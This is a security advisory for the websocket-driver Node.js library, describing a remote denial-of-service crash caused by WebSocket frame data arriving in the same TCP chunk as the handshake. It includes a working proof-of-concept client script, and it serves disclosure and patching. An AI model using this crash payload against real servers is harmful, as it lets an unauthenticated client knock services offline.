Server crash triggered by client sending message data in the same TCP chunk as request headers
Description
A WebSocket server implemented using websocket-driver can be made to crash by a remote client sending WebSocket message data in the TCP chunk as its handshake request headers.
Details
The websocket.http() driver constructor is designed to be used with the Node HTTP upgrade event, which yields an HTTP request, the bare TCP socket, and a buffer containing the request body to the event listener. The documentation instructs users to pass the request body to the driver, before calling start() on it, like so:
server.on('upgrade', (request, socket, body) => {
if (!websocket.isWebSocket(request)) return
let driver = websocket.http(request)
driver.io.write(body)
// set up event listeners...
driver.start()
})This API was originally designed to deal with the Draft 76 handshake, which included an 8-byte body as part of the handshake data. When this version is in use, the driver handles this sequence of calls correctly.
When the RFC 6455 standard protocol is in use, body should typically be empty, since clients should not send messages before the handshake completes. However, if body is not empty, then passing it to driver.io.write() before calling driver.start() triggers an exception due to the parser not being initialised. This exception crashes the process.
This has been mitigated by buffering this input and parsing it when start() is called, so that any data received before start() is called is not lost. This buffering is subject to the maxLength configuration parameter so clients cannot abuse this to grow the server's buffer indefinitely.
Proof of concept
Given a server set up as follows:
const http = require('http')
const websocket = require('websocket-driver')
let server = http.createServer()
server.on('upgrade', (request, socket, body) => {
if (!websocket.isWebSocket(request)) return
let driver = websocket.http(request)
driver.io.write(body)
socket.pipe(driver.io).pipe(socket)
driver.messages.on('data', (m) => console.log({ m }))
driver.start()
})
server.listen(5077, '127.0.0.1')The following client opens a connection and constructs a buffer containing WebSocket handshake headers immediately followed by a WebSocket message. It writes this buffer to the socket as a single chunk.
const net = require('net')
let socket = net.connect(5077, '127.0.0.1')
let httpMessage = Buffer.from(
'GET / HTTP/1.1\r\n' +
'Host: 127.0.0.1\r\n' +
'Connection: Upgrade\r\n' +
'Upgrade: websocket\r\n' +
`Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n` +
'Sec-WebSocket-Version: 13\r\n' +
'\r\n'
)
// FIN = 1, mask key 00 00 00 00, payload 'a'
let maskedTextFrame = Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61])
// the frame is sent in the same write as the handshake,
// so it arrives in the `body` (head) argument of the 'upgrade' event
socket.write(Buffer.concat([httpMessage, maskedTextFrame]))
socket.on('error', () => {})On receiving this chunk, the server immediately crashes. After patching, the server prints the message the client sent.
Impact
An unauthenticated remote client can crash any Node.js process that follows the README's "Server-side with HTTP" example, with a single TCP write.